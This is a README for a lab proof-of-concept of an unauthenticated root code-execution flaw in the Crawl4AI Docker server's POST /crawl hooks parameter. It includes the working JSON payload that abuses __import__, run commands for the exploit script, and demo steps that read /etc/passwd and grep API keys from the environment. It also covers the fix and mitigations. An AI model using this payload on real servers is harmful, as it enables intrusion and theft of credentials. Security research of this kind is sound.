
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Unauthenticated remote code execution on the Crawl4AI Docker server (< 0.8.0), abusing the
hooksparameter of thePOST /crawlendpoint. A single JSON in the POST executes Python as root inside the container.
This is a lab PoC, self-contained and reproducible, for security research and educational purposes.
The POST /crawl endpoint accepts arbitrary Python code in the
hooks.code.<event> field. This code is executed with exec() inside a
"homemade sandbox" — a restricted builtins dictionary. However,
__import__ was left on the allowlist, which allows
__import__('os').system(...) and defeats the entire sandbox.
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
Since the official deployment runs with JWT disabled by default and the container runs as root, the result is root RCE, pre-authentication.
The sandbox seems to work: open, eval, exec were removed, so a naive
attack (open('/etc/passwd')) is blocked. This creates a false sense of
security. But just one forgotten dangerous builtin (__import__) is enough
to import the entire stdlib (os, subprocess, socket), and the allowlist
becomes decoration. A builtins allowlist is not a sandbox.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
Fidelity note.
vulnerable-app/is a lean reproduction of the vulnerable code path in Crawl4AI (it does not launch Chromium/Playwright), so that the PoC is lightweight and 100% reproducible. The sandbox behavior and payload structure mirror the official GHSA-5882-5rx9-xgxp advisory. The vulnerable line is marked invulnerable-app/hook_manager.py.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
From there: pivot to the internal network, cloud credential theft, persistence, etc.
OPENAI_API_KEY, internal tokens, container secrets.All of this without authentication.
Fixed in Crawl4AI 0.8.0:
__import__ (and eval/exec/open) removed from allowed builtins.CRAWL4AI_HOOKS_ENABLED=true.General mitigations:
crawl4ai >= 0.8.0.Material for authorized security research and education. Use only on systems you own or have explicit written permission to test.
| # | Action | Impact |
|---|
| 1 | open('/etc/passwd') direct | Blocked by the sandbox (false security) |
| 2 | __import__('subprocess') + id/whoami | RCE as root |
| 3 | cat /etc/passwd via shell | Arbitrary file read |
| 4 | env | grep KEY | Exfiltration of API keys / tokens |
| 5 | echo ... > /tmp/PWNED | Arbitrary file write |